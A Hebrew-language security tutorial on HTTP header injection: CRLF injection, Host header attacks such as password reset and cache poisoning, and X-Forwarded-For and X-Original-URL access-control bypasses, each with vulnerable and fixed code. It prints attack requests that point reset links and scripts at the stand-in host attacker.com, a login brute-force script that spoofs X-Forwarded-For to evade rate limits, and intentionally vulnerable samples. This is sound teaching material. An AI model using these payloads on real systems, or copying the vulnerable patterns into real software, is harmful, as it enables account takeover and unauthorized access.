הinjection headers - Header Injection¶
מבוא¶
הinjection headers HTTP היא משפחה רחבה של חולשות שמנצלות את האופן שבו שרתי אינטרנט מעבדים headers HTTP. זה כולל injection CRLF, מתקפות Host header, וexploit headers proxy שונות.
חולשות אלו פחות מוכרות מ-XSS או SQLi, אבל יכולות להוביל לתוצאות קריטיות: מ-session hijacking ועד cache poisoning.
הinjection CRLF¶
רקע¶
בפרוטוקול HTTP, כל header מסתיימת ברצף CRLF (Carriage Return + Line Feed):
שורה ריקה (CRLF כפול) מפרידה בין הheaders לגוף התגובה:
מתי נוצרת חולשה¶
כאשר קלט המשתמש מוכנס לheader HTTP ללא סינון של CRLF:
# Vulnerable code - Python/Flask
@app.route('/redirect')
def redirect_page():
url = request.args.get('url', '/')
response = make_response('', 302)
response.headers['Location'] = url # Vulnerable!
return response
// Vulnerable code - PHP
<?php
$lang = $_GET['lang'];
header("Set-Cookie: language=$lang"); // Vulnerable!
?>
פיצול תגובת HTTP - HTTP Response Splitting¶
# Regular request
GET /redirect?url=/home HTTP/1.1
# Regular response
HTTP/1.1 302 Found
Location: /home
# Request with CRLF injection
GET /redirect?url=/home%0d%0aInjected-Header:%20value HTTP/1.1
# Response with an injected header
HTTP/1.1 302 Found
Location: /home
Injected-Header: value
קיבוע סשן - Session Fixation דרך CRLF¶
# Injecting Set-Cookie via CRLF
GET /page?param=value%0d%0aSet-Cookie:%20sessionid=ATTACKER_SESSION HTTP/1.1
# The response will include:
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: sessionid=ATTACKER_SESSION
תהליך התקיפה:
1. התוקף שולח קישור לקורבן עם CRLF שמזריק cookie
2. הקורבן לוחץ על הקישור ומקבל את ה-session של התוקף
3. הקורבן מתחבר
4. התוקף משתמש באותו session ID כדי לגשת לחשבון
XSS דרך CRLF¶
# Injecting a full response body
GET /page?param=value%0d%0a%0d%0a<script>alert(document.cookie)</script> HTTP/1.1
# The response:
HTTP/1.1 200 OK
X-Custom: value
<script>alert(document.cookie)</script>
CRLF כפול (%0d%0a%0d%0a) מסיים את הheaders ומתחיל את גוף התגובה, מה שמאפשר injection HTML/JavaScript.
הpoisoning לוגים - Log Poisoning דרך CRLF¶
# If a server logs headers
GET /page HTTP/1.1
User-Agent: Mozilla%0d%0a[CRITICAL] Admin login from 127.0.0.1
# In the server's log:
192.168.1.5 - - "GET /page" - Mozilla
[CRITICAL] Admin login from 127.0.0.1
מתקפות Host Header¶
הheader של Host היא חלק חובה ב-HTTP/1.1 שמציינת לאיזה דומיין הבקשה מיועדת. שרתים רבים סומכים על הheader הזו בצורה עיוורת.
הpoisoning איפוס סיסמה - Password Reset Poisoning¶
# Vulnerable code - the server uses the Host header to build a link
@app.route('/forgot-password', methods=['POST'])
def forgot_password():
email = request.form['email']
user = User.query.filter_by(email=email).first()
if user:
token = generate_reset_token(user)
# Vulnerable! Uses the Host header to build the link
host = request.headers.get('Host')
reset_link = f"https://{host}/reset?token={token}"
send_email(email, f"Reset your password: {reset_link}")
return "If the email exists, a reset link was sent."
ביצוע התקיפה¶
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
תהליך התקיפה:
1. התוקף שולח בקשת איפוס סיסמה עם Host שמצביע לשרת שלו
2. הקורבן מקבל מייל עם קישור ל-https://attacker.com/reset?token=SECRET
3. הקורבן לוחץ על הקישור
4. התוקף מקבל את ה-token ומאפס את הסיסמה
וריאציות של Host Header¶
# Regular Host header
Host: attacker.com
# Host header with a port
Host: target.com:@attacker.com
# Alternative headers
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
Forwarded: host=attacker.com
# Duplicate Host header
Host: target.com
Host: attacker.com
# Host header with a space
Host: target.com
Host: attacker.com
# Absolute URL in the request line
GET https://target.com/forgot-password HTTP/1.1
Host: attacker.com
הpoisoning cache דרך Host - Web Cache Poisoning¶
# First request - poisons the cache
GET /static/main.js HTTP/1.1
Host: attacker.com
# The server returns:
HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
<script src="https://attacker.com/evil.js"></script>
אם ה-cache שומר את התגובה, כל משתמש שיבקש את אותו משאב יקבל את התוכן המורעל.
גישה ל-Virtual Hosts פנימיים¶
# Attempt to access an internal server by changing the Host
GET / HTTP/1.1
Host: internal-admin.company.local
# or
GET / HTTP/1.1
Host: localhost
# or
GET / HTTP/1.1
Host: 127.0.0.1
SSRF מבוסס ניתוב - Routing-based SSRF¶
# Changing the Host to make the server reach a different destination
GET /api/data HTTP/1.1
Host: internal-service.local
# Collaborator-based detection
GET / HTTP/1.1
Host: collaborator.attacker.com
הexploit X-Forwarded-For ו-X-Real-IP¶
הbypass בקרת גישה מבוססת IP¶
# If the server checks the IP:
# if (client_ip == "127.0.0.1") { allow_admin(); }
GET /admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
# Additional variations
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1
קוד פגיע¶
@app.route('/admin')
def admin_panel():
# Vulnerable! Trusts a header that the client can spoof
client_ip = request.headers.get('X-Forwarded-For', request.remote_addr)
if client_ip == '127.0.0.1' or client_ip.startswith('10.'):
return render_template('admin.html')
else:
return "Forbidden", 403
הbypass הגבלת קצב - Rate Limit Bypass¶
import requests
url = "http://target.com/login"
# Each request with a different IP
for i in range(1000):
headers = {
"X-Forwarded-For": f"192.168.1.{i % 256}"
}
data = {
"username": "admin",
"password": passwords[i]
}
response = requests.post(url, data=data, headers=headers)
if "success" in response.text:
print(f"[+] Password found: {passwords[i]}")
break
הexploit X-Original-URL ו-X-Rewrite-URL¶
הheaders אלו משמשות שרתים כמו IIS ו-Nginx לניהול URL rewriting. ניתן לנצל אותן לbypass בקרת גישה:
הbypass בקרת גישה מבוססת נתיב¶
# Regular request - blocked
GET /admin HTTP/1.1
Host: target.com
# Response: 403 Forbidden
# Bypass using X-Original-URL
GET / HTTP/1.1
Host: target.com
X-Original-URL: /admin
# Response: 200 OK - access granted!
עם X-Rewrite-URL¶
GET / HTTP/1.1
Host: target.com
X-Rewrite-URL: /admin/users
# The server serves /admin/users even though the request was to /
דוגמה - bypass WAF¶
# The WAF blocks /admin
GET / HTTP/1.1
Host: target.com
X-Original-URL: /admin
X-Rewrite-URL: /admin
# The WAF sees a request to / (allowed)
# but the server serves /admin
דוגמאות קוד פגיע ומתוקן¶
PHP - CRLF Injection¶
// Vulnerable
<?php
$location = $_GET['redirect'];
header("Location: $location");
?>
// Fixed
<?php
$location = $_GET['redirect'];
// Remove CRLF
$location = str_replace(array("\r", "\n", "%0d", "%0a", "%0D", "%0A"), '', $location);
// Validate that this is a valid URL
if (filter_var($location, FILTER_VALIDATE_URL)) {
header("Location: $location");
} else {
header("Location: /");
}
?>
Node.js - Host Header¶
// Vulnerable
app.post('/forgot-password', (req, res) => {
const host = req.headers.host;
const token = generateToken(email);
const resetLink = `https://${host}/reset/${token}`;
sendEmail(email, resetLink);
});
// Fixed
const ALLOWED_HOSTS = ['www.example.com', 'example.com'];
app.post('/forgot-password', (req, res) => {
const host = req.headers.host;
// Validate the Host header
if (!ALLOWED_HOSTS.includes(host)) {
return res.status(400).send('Invalid host');
}
// Use a fixed value from the configuration
const resetLink = `https://${process.env.APP_HOST}/reset/${token}`;
sendEmail(email, resetLink);
});
Python/Flask - X-Forwarded-For¶
# Vulnerable
@app.route('/admin')
def admin():
ip = request.headers.get('X-Forwarded-For', request.remote_addr)
if ip == '127.0.0.1':
return admin_page()
# Fixed - using proxy_fix with the correct configuration
from werkzeug.middleware.proxy_fix import ProxyFix
# Configure how many trusted proxies are in the chain
app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_host=1)
@app.route('/admin')
def admin():
# Now request.remote_addr returns the real IP
# only from a trusted proxy
if request.remote_addr == '127.0.0.1':
return admin_page()
הגנה כוללת¶
1. סינון CRLF¶
def sanitize_header_value(value):
"""Removes CRLF characters from header values"""
return value.replace('\r', '').replace('\n', '').replace('%0d', '').replace('%0a', '').replace('%0D', '').replace('%0A', '')
2. ולידציה של Host Header¶
# Nginx - block unauthorized Host headers
server {
listen 80 default_server;
server_name _;
return 444; # close the connection without a response
}
server {
listen 80;
server_name www.example.com example.com;
# ... regular settings
}
3. התעלמות מheaders Proxy¶
# Nginx - remove untrusted proxy headers
proxy_set_header X-Original-URL "";
proxy_set_header X-Rewrite-URL "";
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
4. רשימה לבנה של headers¶
TRUSTED_HEADERS = {'Content-Type', 'Authorization', 'Accept'}
@app.before_request
def validate_headers():
for header in request.headers:
if header[0] not in TRUSTED_HEADERS and header[0].startswith('X-'):
# Log a warning - unrecognized header
app.logger.warning(f"Unexpected header: {header[0]}")
סיכום¶
הinjection headers HTTP היא משפחה רחבה של חולשות:
- CRLF Injection - מאפשרת injection headers ותוכן לתגובת HTTP
- Host Header Attacks - מאפשרות poisoning איפוס סיסמה, cache poisoning, ו-SSRF
- X-Forwarded-For - מאפשר bypass בקרת גישה מבוססת IP
- X-Original-URL - מאפשר bypass בקרת גישה מבוססת נתיב
ההגנה דורשת גישה רב-שכבתית: סינון קלט, ולידציה של headers, קונפיגורציה נכונה של שרת ה-proxy, ואי-אמון בheaders שהלקוח שולח.